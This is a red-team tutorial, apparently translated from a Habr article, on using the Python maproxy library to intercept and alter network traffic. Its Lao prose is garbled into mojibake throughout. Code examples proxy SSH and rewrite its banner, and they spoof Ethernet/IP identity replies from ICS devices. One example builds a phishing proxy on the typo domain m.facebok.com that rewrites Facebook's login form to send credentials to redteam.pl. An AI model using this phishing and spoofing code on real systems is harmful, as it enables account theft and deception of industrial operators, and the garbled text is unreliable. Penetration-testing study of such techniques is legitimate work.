เบเบฒเบโเปเบโเบเบฒโเบชเบฒโเบเบญเบโเบเบปเบโเบเบงเบฒเบกโเปเบเปโเบเบทเบโเบเบฐโเบเบฝเบกโเปเบโเบชเบฐโเบกเบฒเบโเบชเบฐโเบกเบฒเบโเบเบญเบโเบเบฒเบโเปเบฅเบตเปเบกโเบเบปเปเบโเบเบญเบโเบงเบดโเบเบฒโเบเบฒเบ
เบเบณ เบญเบฐเบเบดเบเบฒเบ
เบเบฐเปเบเบเบเบญเบเบเบฒเบเบเบฐเปเบกเบตเบเบเบงเบฒเบกเบเบญเบเปเบ, เบเบฑเปเบเปเบเปเบเบฒเบเบเบปเบเบชเบญเบเบเบฒเบเปเบเบฒเบฐเปเบเบเบเบปเบเบเบฐเบเบดเปเบฅเบฐเบเบฒเบเบเปเบฒเปเบเบตเบเบเบฒเบเบเบญเบเบเบตเบกเบชเบตเปเบเบเบเบปเบเปเบเบดเบเบเบฒเบ hack เบญเบธเบเบฐเบเบญเบ IoT / ICS เปเบฅเบฐ SCADA, เบเปเบฝเบงเบเปเบญเบเบเบฑเบเบเบฒเบเปเบฎเบฑเบเบงเบฝเบเบเบฑเบเปเบเปเบเบเบญเบเปเบเบทเบญเบเปเบฒเบเบชเบญเบ, เบเบฑเปเบเปเบกเปเบ, เบชเบฐเบเบฑเบเปเบฅเบฐเบเบฑเบเปเบเบเบเปเปเบกเบนเบเปเบเบทเบญเบเปเบฒเบเบฅเบฐเบซเบงเปเบฒเบเบฅเบนเบเบเปเบฒเปเบฅเบฐเปเบเบปเปเบฒเบซเบกเบฒเบ. เบเบฒเบเบเบฒเบฅเบฐเบเบญเบเบเบญเบเปเบเบทเบญเบเปเบฒเบ sniffing เบเปเปเปเบกเปเบเบงเบฝเบเบเบตเปเบเบฒเบเปเบเบฒเบฐเบงเปเบฒเบเบงเบเปเบฎเบปเบฒเบกเบตเปเบเบทเปเบญเบเบกเบทเปเบเบฑเปเบ Wireshark, Tcpdump เบซเบผเบท Scapy, เปเบเปเบเบฒเบเบเบฑเบเปเบเปเปเบเบดเปเบเบเบทเบงเปเบฒเปเบเบฑเบเบงเบฝเบเบเบตเปเปเบเปเปเบฎเบเบเบฒเบเบซเบผเบฒเบเปเบเบฒเบฐเบงเปเบฒเบเบงเบเปเบฎเบปเบฒเบเบฐเบเปเบญเบเบกเบตเบเบฒเบเปเบเปเบเบญเบเบเบฒเบเบขเปเบฒเบเปเบเบทเปเบญเบญเปเบฒเบเบเปเปเบกเบนเบเปเบเบทเบญเบเปเบฒเบ, เบเบฒเบเบเบฑเปเบเบเบญเบ, เบเปเบฝเบเปเบเบ. เบกเบฑเบเบขเบนเปเปเบเบเบฒเบเบเบดเบเปเบฅเบฐเบชเบปเปเบเบกเบฑเบเบเบฑเบเบเบทเบเปเบเบซเบฒเปเบเบปเปเบฒเบเบฒเบเปเบเบปเปเบฒเบซเบกเบฒเบเปเบเปเบงเบฅเบฒเปเบเบทเบญเบเบเบดเบ. เบเบญเบเบเบฒเบเบเบฑเปเบ, เบกเบฑเบเบเบฐเปเบเบฑเบเบเบตเปเปเบซเบกเบฒเบฐเบชเบปเบกเบเปเบฒเปเบเบทเปเบญเบเบกเบทเบเบฑเปเบเบเปเบฒเบงเบชเบฒเบกเบฒเบเปเบฎเบฑเบเบงเบฝเบเปเบเบเบญเบฑเบเบเบฐเปเบเบกเบฑเบเบเบฑเบเบเบฒเบเปเบเบทเปเบญเบกเบเปเปเบเบฐเบซเบเบฒเบเบซเบผเบฒเบเปเบฅเบฐเบชเบฒเบกเบฒเบเบเบฑเบเปเบเปเบเปเบเปเปเบเบเปเบเปเบชเบฐเบเบดเบ.
เบกเบทเปเบซเบเบถเปเบเบเปเบฒเบเบฐเปเบเบปเปเบฒเปเบเปเบเบปเปเบเบเบปเบเปเบเบทเปเบญเบเบกเบทเบเบตเปเปเบญเบตเปเบเบงเปเบฒ
, เปเบญเบเบฐเบชเบฒเบเบขเปเบฒเบเปเบงเบงเบฒเปเบฎเบฑเบเปเบซเปเบกเบฑเบเบเบฑเบเปเบเบเบเบฑเบเบเปเบญเบเบงเปเบฒ maproxy
โ เบเบฝเบโเปเบเปโเบชเบดเปเบโเบเบตเปโเบเปเบฒโเบเบฐโเปเบเบปเปเบฒโเบเปเบญเบโเบเบฒเบโ. เบเบตเปโเปเบกเปเบโเปเบเบฑเบโเบเปเบฒโเบกเบฐโเบเบฒโเบเบตเปโเบเปเบฒเบโเบเบฒเบโ, versatile เปเบฅเบฐโเบเบฒเบโเบเบฑเปเบโเบเปเบฒ TCP proxy เปเบเปโเบขเปเบฒเบโเบเปเบฒเบโเบเบฒเบโ. เบเปเบฒเบเบฐเปเบเบปเปเบฒเปเบเปเบเบปเบเบชเบญเบเปเบเบทเปเบญเบเบกเบทเบเบตเปเบขเบนเปเปเบเบเปเบฒเบฎเปเบญเบเบชเบฐเบซเบกเบฑเบเบเบตเปเบชเบฑเบเบชเบปเบเบซเบผเบฒเบ, เบฅเบงเบกเบเบฑเบเบญเบธเบเบฐเบเบญเบ ICS (เปเบเบดเปเบเบชเปเบฒเบเปเบเบฑเบเปเบเบฑเบเบเปเบฒเบเบงเบเบซเบฅเบฒเบ) เปเบเบทเปเบญเปเบเบดเปเบเบงเปเบฒเบกเบฑเบเบชเบฒเบกเบฒเบเบเบฑเบเบเบฒเบเบเบฑเบเบเบฒเบเปเบเบทเปเบญเบกเบเปเปเบเบฐเบซเบเบฒเบเบซเบผเบฒเบ, เปเบฅเบฐเปเบเบทเปเบญเบเบกเบทเบเบฐเบเบดเบเบฑเบเปเบเปเบเบต.
เบเบปเบโเบเบงเบฒเบกโเบเบตเปโเบเบฐโเปเบเบฐโเบเปเบฒโเปเบซเปโเบเปเบฒเบโเบเบฑเบโเบเบฒเบโเบเบธเบโเปเบเปเบโเบเปเปโเบกเบนเบโเปเบเบทเบญโเบเปเบฒเบโเปเบโเบเบฒเบโเบเบดเบโเปเบเบโเบเปเบฒโเปเบเปโ maproxy
.
เบเบฒเบเบฅเบงเบก
เปเบเบทเปเบญเบเบกเบท maproxy
เปเบกเปเบเบญเบตเบเปเบชเป Tornado, เบเบญเบเปเบเบทเบญเบเปเบฒเบ asynchronous เบเบตเปเบเบดเบเบปเบก เปเบฅเบฐเปเบเบฑเบเบเบนเปเปเบซเบเปเปเบ Python.
เปเบเบเบเบปเปเบงเปเบ, เบกเบฑเบเบชเบฒเบกเบฒเบเบเปเบฒเปเบเบตเบเบเบฒเบเปเบเบซเบผเบฒเบเบฎเบนเบเปเบเบ:
TCP:TCP
- เบเบฒเบเปเบเบทเปเบญเบกเบเปเป TCP เบเบตเปเบเปเปเปเบเปเปเบเบปเปเบฒเบฅเบฐเบซเบฑเบ;TCP:SSL
ะธSSL:TCP
- เบเปเบงเบเบเบฒเบเปเบเบปเปเบฒเบฅเบฐเบซเบฑเบเบเบฒเบเบเบฝเบง;SSL:SSL
- เบเบฒเบโเปเบเบปเปเบฒโเบฅเบฐโเบซเบฑเบโเบชเบญเบโเบเบฒเบโ.
เบกเบฑเบเบกเบฒเปเบเบฑเบเบซเปเบญเบเบชเบฐเบซเบกเบธเบ. เบชเปเบฒเบฅเบฑเบเบเบฒเบเปเบฅเบตเปเบกเบเบปเปเบเปเบง, เบเปเบฒเบเบชเบฒเบกเบฒเบเบเปเบฒเปเบเปเปเบเบฅเปเบเบปเบงเบขเปเบฒเบเบเบตเปเบชเบฐเบเปเบญเบเปเบซเปเปเบซเบฑเบเบเบปเปเบเบเป
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
เบเปเบฅเบฐเบเบต 1 โ เบเบปเบงเปเบเบ bidirectional เบเปเบฒเบเบเบฒเบ
เบญเบตเบเปเบชเป tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
เบเบฑเปเบเปเบเปเบเบญเบเบเบปเปเบ ProxyServer()
เปเบญเบปเบฒเบชเบญเบเบเบฒเบเปเบเปเบเบฝเบ - เบชเบฐเบเบฒเบเบเบตเปเปเบเบทเปเบญเบกเบเปเปเปเบฅเบฐเบเบญเบเปเบเบปเปเบฒเบซเบกเบฒเบ. server.listen()
เปเบญเบปเบฒเบเบฒเบเปเบเปเบเบฝเบเบซเบเบถเปเบ - เบเบญเบเบชเปเบฒเบฅเบฑเบเบเบฒเบเบเบฑเบเบเบฒเบเปเบเบทเปเบญเบกเบเปเปเบเบฒเปเบเบปเปเบฒ.
เบเบฒเบโเบเบฐโเบเบดโเบเบฑเบโเบชเบฐโเบเบดเบโ:
# python tcp2tcp.py
เปเบเบทเปเบญเบเปเบฒเปเบเบตเบเบเบฒเบเบเบปเบเบชเบญเบ, เบเบงเบเปเบฎเบปเบฒเบเบฐเปเบเบทเปเบญเบกเบเปเปเบเบฑเบเปเบเบทเปเบญเบเปเบกเปเบเปเบฒเบ SSH เบเปเบญเบเบเบดเปเบเปเบเบเบเปเบฒเบเบชเบฐเบเบดเบเบเบปเบงเปเบเบเบเบญเบเบเบงเบเปเบฎเบปเบฒ, เปเบเบดเปเบเบเบฑเบเบขเบนเปเปเบ. 2222/tcp
เบเบญเบเปเบฅเบฐเปเบเบทเปเบญเบกเบเปเปเบเบฑเบเบเบญเบเบกเบฒเบเบเบฐเบเบฒเบ 22/tcp
เปเบเบตเบเปเบงเบต SSH:
เบเปเบฒเบเปเบเบชเบฐเบเบฒเบเบดเบเบเบตเบเปเบญเบเบฎเบฑเบเปเบเปเบเปเบซเปเบเปเบฒเบเบฎเบนเปเบงเปเบฒเบชเบฐเบเบดเบเบเบปเบงเบขเปเบฒเบเบเบญเบเบเบงเบเปเบฎเบปเบฒเปเบเปเบเบปเบงเปเบเบเบเบฒเบเบเบฐเบฅเบฒเบเบญเบเปเบเบทเบญเบเปเบฒเบเบชเบปเบเบเบปเบเบชเปเบฒเปเบฅเบฑเบ.
เบเปเบฅเบฐเบเบตเบเบต 2 - เบเบฒเบเบเบฑเบเปเบเปเบเปเปเบกเบนเบ
เบชเบฐเบเบฃเบดเบเบชเบฒเบเบดเบเบญเบทเปเบ logging_proxy.py
เปเบซเบกเบฒเบฐเบชเปเบฒเบฅเบฑเบเบเบฒเบเบเบปเบงเบเบฑเบเบเบฑเบเบเปเปเบกเบนเบเปเบเบทเบญเบเปเบฒเบ. เบเปเบฒเปเบซเบฑเบเปเบเปเบเบฅเปเบญเบฐเบเบดเบเบฒเบเบงเบดเบเบตเบเบฒเบเบซเปเบญเบเบฎเบฝเบเบเบตเปเบเปเบฒเบเบชเบฒเบกเบฒเบเบเบฑเบเปเบเบเปเบเบทเปเบญเบเบฑเบเบฅเบธเปเบเบปเปเบฒเบซเบกเบฒเบเบเบญเบเบเปเบฒเบ:
เบชเบดเปเบเบเบตเปเบซเบเปเบฒเบชเบปเบเปเบเบเบตเปเบชเบธเบเปเบกเปเบเบขเบนเปเบเบตเปเบเบตเป:
on_c2p_done_read
โ เปเบเบทเปเบญเบชเบฐเบเบฑเบเบเปเปเบกเบนเบเบเบฒเบกเบเบฒเบเบเบฒเบเบฅเบนเบเบเปเบฒเปเบเบซเบฒเปเบเบทเปเบญเบเปเบกเปเบเปเบฒเบ;on_p2s_done_read
- เบเบตเปเบเบเบฑเบเบเบฑเบ.
เบฅเบญเบเบเปเบฝเบเบเปเบฒเบเปเบเบชเบฐเบเบฒ SSH เบเบตเปเปเบเบตเบเปเบงเบตเบชเบปเปเบเบเบทเบเปเบซเปเบฅเบนเบเบเปเบฒ:
[โฆ]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[โฆ]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[โฆ]
เบเบฐเบเบดเบเบฑเบ script:
เบเบฑเปเบเบเบตเปเบเปเบฒเบเบชเบฒเบกเบฒเบเปเบซเบฑเบเปเบเป, เบฅเบนเบเบเปเบฒเปเบเปเบเบทเบเบซเบผเบญเบเบฅเบงเบเปเบเบฒเบฐเบงเปเบฒเบเบทเปเปเบเบทเปเบญเบเปเบกเปเบเปเบฒเบ SSH เบชเปเบฒเบฅเบฑเบเบฅเบฒเบงเปเบเปเบเบทเบเบเปเบฝเบเปเบเบฑเบ ยซDumnySSHยป
.
เบเปเบฅเบฐเบเบตเบเบต 3 โ เบซเบเปเบฒเปเบงเบฑเบ phishing เบเปเบฒเบเบเบฒเบ
เบกเบตเบงเบดเบเบตเบเบฒเบเบเบตเปเบเปเปเบกเบตเบเบตเปเบชเบดเปเบเบชเบธเบเปเบเบเบฒเบเบเปเบฒเปเบเปเปเบเบทเปเบญเบเบกเบทเบเบตเป. เปเบงเบฅเบฒเบเบตเปเปเบซเปเปเบฎเบปเบฒเบชเบธเบกเปเบชเปเบชเบดเปเบเบเบตเปเบเบฐเบเบดเบเบฑเบเปเบเปเบซเบผเบฒเบเบเบถเปเบเบเบฒเบเบเปเบฒเบเบเบฐเบเบดเบเบฑเบเบเบฒเบเบเบญเบเบเบตเบกเบชเบตเปเบเบ. เปเบซเปเปเบฎเบปเบฒเบฎเบฝเบเปเบเบเปเปเบฒเบเบดเบ m.facebook.com
เปเบฅเบฐเปเบเปเปเบเปเบกเบเบเบตเปเบเบณเบเบปเบเปเบญเบเบเปเบงเบเบเบฒเบเบเบดเบกเบเบดเบเปเบเบเปเบเบเบเบฐเบเบฒ, เบเบปเบงเบขเปเบฒเบ, m.facebok.com
. เบชเปเบฒเบฅเบฑเบเบเบธเบเบเบฐเบชเบปเบเบเบฒเบเบชเบฒเบเบดเบ, เปเบซเปเบชเบปเบกเบกเบธเบเบงเปเบฒเปเบเปเบกเบเปเบเปเบเบทเบเบฅเบปเบเบเบฐเบเบฝเบเปเบเบเบเบงเบเปเบฎเบปเบฒ.
เบเบงเบโเปเบฎเบปเบฒโเบเบฐโเบชเปเบฒเบโเบเบฑเปเบโเบเบฒเบโเปเบเบทเปเบญเบกโเบเปเปโเปเบเบทเบญโเบเปเบฒเบโเบเบตเปโเบเปเปโเปเบเปโเปเบเบปเปเบฒโเบฅเบฐโเบซเบฑเบโเบเบฑเบ proxy เบเบนเปโเบเบทเบโเปเบเบฒเบฐโเบฎเปเบฒเบโเบเบญเบโเบเบงเบโเปเบฎเบปเบฒโเปเบฅเบฐ SSL Stream เบเบฑเบโเปเบเบตเบโเปเบงเบตโเปเบโเบชโเบเบธเบ (31.13.81.36
). เปเบเบทเปเบญเปเบฎเบฑเบเปเบซเปเบเบปเบงเบขเปเบฒเบเบเบตเปเปเบฎเบฑเบเบงเบฝเบ, เบเบงเบเปเบฎเบปเบฒเบเปเบฒเปเบเบฑเบเบเปเบญเบเบเปเบฝเบเบชเปเบงเบเบซเบปเบง HTTP host เปเบฅเบฐเปเบชเปเบเบทเปเปเบฎเบเบเบตเปเบเบทเบเบเปเบญเบ, เปเบฅเบฐเบเบงเบเปเบฎเบปเบฒเบเบฑเบเบเบฐเบเบดเบเบเบฒเบเบเบตเบเบญเบฑเบเบเบฒเบเบเบญเบเบชเบฐเบซเบเบญเบเปเบเบทเปเบญเปเบซเปเบเบงเบเปเบฎเบปเบฒเบชเบฒเบกเบฒเบเปเบเบปเปเบฒเบซเบฒเปเบเบทเปเบญเบซเบฒเปเบเปเบเปเบฒเบ. เปเบเบเบตเปเบชเบธเบเบเบงเบเปเบฎเบปเบฒเบเบฐเบเปเบฝเบเปเบเบเบเบญเบก HTML เปเบเบทเปเบญเปเบซเปเบเปเปเบกเบนเบเบเบฒเบเปเบเบปเปเบฒเบชเบนเปเบฅเบฐเบเบปเบเบเบทเบเบชเบปเปเบเปเบเบซเบฒเบเบงเบเปเบฎเบปเบฒเปเบเบเบเบตเปเบเบฐเปเบเบฑเบเปเบเบทเปเบญเบเปเบกเปเบเปเบฒเบเบเบญเบ Facebook:
[โฆ]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[โฆ]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/lo/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[โฆ]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[โฆ]
เปเบเบเบตเปเบชเบธเบ:
เบเบฑเปเบเบเบตเปเปเบเบปเปเบฒเบชเบฒเบกเบฒเบเปเบซเบฑเบเปเบเป, เบเบงเบเปเบฎเบปเบฒเบชเบฒเบกเบฒเบเบเปเบฝเบเปเบเบเปเบงเบฑเบเปเบเบเปเบเบปเปเบเบชเบฐเบเบฑเบเปเบเปเบขเปเบฒเบเบชเปเบฒเปเบฅเบฑเบเบเบปเบ.
เบเปเบฅเบฐเบเบตเบเบต 4 โ Porting Ethernet/IP
เบเปเบญเบเปเบเปเบเบฑเบเบเบฒเบเบเบฑเบเบญเบธเบเบฐเบเบญเบเบญเบธเบเบชเบฒเบซเบฐเบเปเบฒเปเบฅเบฐเบเบญเบเปเบง (ICS / SCADA) เปเบเบฑเบเปเบงเบฅเบฒเบเปเบญเบเบเปเบฒเบ, เปเบเบฑเปเบ: เบเบปเบงเบเบงเบเบเบธเบกเปเบเบเบเบฒเบ (PLC), เปเบกเบเบนเบ I/O, เปเบ, เบฅเบตเปเบฅ, เบชเบฐเบเบฒเบเปเบงเบเบฅเปเบญเบกเบเบฒเบเบเบฝเบเปเบเบผเปเบเบผเบก ladder เปเบฅเบฐเบญเบทเปเบเปเบญเบตเบ. เบเปเบฅเบฐเบเบตเบเบตเปเปเบกเปเบเบชเปเบฒเบฅเบฑเบเบเบนเปเบเบตเปเบกเบฑเบเบชเบดเปเบเบญเบธเบเบชเบฒเบซเบฐเบเปเบฒ. เบเบฒเบ hack เบงเบดเบเบตเปเบเปเปเบเบเบฑเปเบเบเปเบฒเบงเบเปเบฝเบงเบเปเบญเบเบเบฑเบเบเบฒเบเบซเบผเบดเปเบเบขเปเบฒเบเบเบดเบเบเบฑเบเบเบฑเบเปเบเปเบเบเบญเบเปเบเบทเบญเบเปเบฒเบ. เปเบเบเบปเบงเบขเปเบฒเบเบเปเปเปเบเบเบตเป, เบเปเบฒเบเบฐเปเบเบปเปเบฒเบขเบฒเบเบชเบฐเปเบเบเบงเบดเบเบตเบเบตเปเบเปเบฒเบเบชเบฒเบกเบฒเบเบเบฑเบเปเบเบเบเบฒเบเบเบฒเบฅเบฐเบเบญเบเปเบเบทเบญเบเปเบฒเบ ICS/SCADA.
เบชเปเบฒเบฅเบฑเบเบเบฒเบเบเบตเป, เบเปเบฒเบเบเบฐเบเปเบญเบเบเบฒเบเบเบฑเปเบเบเปเปเปเบเบเบตเป:
- เปเบเบทเบญเบเปเบฒเบ sniffer, เบชเปเบฒเบฅเบฑเบเบเบฒเบเบเบปเบเบเบปเบงเบขเปเบฒเบ, Wireshark;
- เบญเบตเปเบเบตเปเบเบฑเบ / IP เบซเบผเบทเบเบฝเบเปเบเปเบญเบธเบเบฐเบเบญเบ SIP, เบเปเบฒเบเบชเบฒเบกเบฒเบเบเบญเบเบซเบฒเบกเบฑเบเปเบเบเปเบเปเบเปเบฅเบดเบเบฒเบ Shodan;
- script เบเบญเบเบเบงเบเปเบฎเบปเบฒเปเบกเปเบเบญเบตเบเปเบชเป
maproxy
.
เบเปเบฒเบญเบดเบ, เปเบซเปเปเบเบดเปเบเบชเบดเปเบเบเบตเปเบเบฒเบเบเบญเบเบชเบฐเบซเบเบญเบเบเบฒเบเบเปเบฒเบเบปเบเบเบปเบเบเบฐเบเบดเบเบฒเบ CIP (Common Industrial Protocol) เปเบเบดเปเบเบเบทเบงเปเบฒ:
เบเบฒเบเบฅเบฐเบเบธเบญเบธเบเบฐเบเบญเบเปเบกเปเบเปเบฎเบฑเบเบชเบณเปเบฅเบฑเบเปเบเบเปเบเปเปเบเบฃเปเบเบเป Ethernet/IP, เปเบเบดเปเบเปเบเบฑเบเบชเบฐเบเบฑเบเบเบฑเบเบเบธเบเบเบญเบเปเบเบฃเปเบเบเป Ethernet เบญเบธเบเบชเบฒเบซเบฐเบเบณเบเบตเปเบซเปเปเปเบเบฃเปเบเบเปเบเบงเบเบเบธเบกเปเบเบฑเปเบ CIP. เบเบงเบโเปเบฎเบปเบฒโเบเบฐโเบเปเบฝเบโเบเบทเป ID เบเบตเปโเปเบเบฑเปเบโเปเบซเปโเปเบซเบฑเบโเปเบโเบซเบเปเบฒโเบเปโเปเบเปโ "NI-IndComm เบชเปเบฒเบฅเบฑเบเบญเบตเปเบเบตเปเบเบฑเบ" เบเบฒเบโเบเปเบฒโเปเบเปโเบเบปเบงโเบญเบฑเบโเบชเบญเบโเบเบปเบงโเปเบเบโเบเบญเบโเบเบงเบโเปเบฎเบปเบฒโ. เบเบงเบเปเบฎเบปเบฒเบชเบฒเบกเบฒเบเปเบเป script เปเบเป logging_proxy.py
เปเบฅเบฐเบเปเบฒเบเบเบทเบเบฑเบเปเบเปเปเบเบงเบดเบเบตเบเบฒเบเบซเปเบญเบเบฎเบฝเบ on_p2s_done_read
, เปเบเบทเปเบญเบเบเบฒเบเบงเปเบฒเบเบงเบเปเบฎเบปเบฒเบเปเบญเบเบเบฒเบเปเบซเปเบเบทเปเบเบปเบงเบเบปเบเบเบตเปเปเบเบเบเปเบฒเบเบเบฑเบเบเบตเปเบเบฐเปเบซเบฑเบเปเบเปเปเบเบฅเบนเบเบเปเบฒ.
เบฅเบฐเบซเบฑเบ:
[โฆ]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[โฆ]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[โฆ]
เปเบเบเบเบทเปเบเบเบฒเบเปเบฅเปเบง, เบเบงเบเปเบฎเบปเบฒเปเบเปเบฎเปเบญเบเบเปเปเบซเปเบกเบตเบเบฒเบเบเปเบฒเบเบปเบเบญเบธเบเบฐเบเบญเบเบชเบญเบเบเบฑเปเบ, เบเปเบฒเบเบญเบเบเบตเบชเบญเบเปเบกเปเบเบเบปเปเบเบชเบฐเบเบฑเบ, เปเบฅเบฐเบญเบฑเบเบเปเบฒเบญเบดเบเปเบเปเบเบทเบเบเบฑเบเปเบเบเปเบเบเบฒเบเบเบดเบ.
เปเบฅเบฐเบชเบธเบเบเปเบฒเบ
เปเบเบเบงเบฒเบกเบเบดเบเปเบซเบฑเบเบเบญเบเบเปเบญเบ maproxy
เปเบเบทเปเบญเบเบกเบทเบเบตเปเบชเบฐเบเบงเบเปเบฅเบฐเบเปเบฒเบเบเบฒเบ, เปเบเบดเปเบเบเบทเบเบเบฝเบเปเบงเปเปเบ Python, เบเบฑเปเบเบเบฑเปเบเบเปเบญเบเปเบเบทเปเบญเบงเปเบฒเปเบเบปเปเบฒเบเปเปเบชเบฒเบกเบฒเบเปเบเปเบฎเบฑเบเบเบปเบเบเบฐเปเบซเบเบเบเบฒเบเบเบฒเบเบเปเบฒเปเบเปเบกเบฑเบ. เปเบเปเบเบญเบ, เบกเบตเปเบเบทเปเบญเบเบกเบทเบเบตเปเบชเบฑเบเบชเบปเบเบซเบผเบฒเบเบชเปเบฒเบฅเบฑเบเบเบฒเบเบเบธเบเปเบเปเบเปเบฅเบฐเบเบฑเบเปเบเปเบเปเปเบกเบนเบเปเบเบทเบญเบเปเบฒเบ, เปเบเปเบเบงเบเปเบเบปเบฒเบเบฑเบเบเปเบญเบเบเบฒเบเบเบงเบฒเบกเบชเบปเบเปเบเบซเบผเบฒเบเปเบฅเบฐเบกเบฑเบเบเบฐเบเบทเบเบชเปเบฒเบเบเบทเปเบเบชเปเบฒเบฅเบฑเบเบเปเบฅเบฐเบเบตเบเบฒเบเบเปเบฒเปเบเปเบชเบฐเปเบเบฒเบฐ, e.g. maproxy
เบเปเบฒเบเบชเบฒเบกเบฒเบเบเบฐเบเบดเบเบฑเบเปเบเบงเบเบงเบฒเบกเบเบดเบเบเบญเบเบเปเบฒเบเปเบเปเปเบงเบชเปเบฒเบฅเบฑเบเบเบฒเบเบเบฑเบเบเบงเบฒเบเบเปเปเบกเบนเบเปเบเบทเบญเบเปเบฒเบ, เบเบฑเบเบเบฑเปเบเปเบเปเบเบปเบงเบขเปเบฒเบ scripts เบกเบตเบเบงเบฒเบกเบเบฑเบเปเบเบเบซเบผเบฒเบ.
เปเบซเบผเปเบเบเปเปเบกเบนเบ: www.habr.com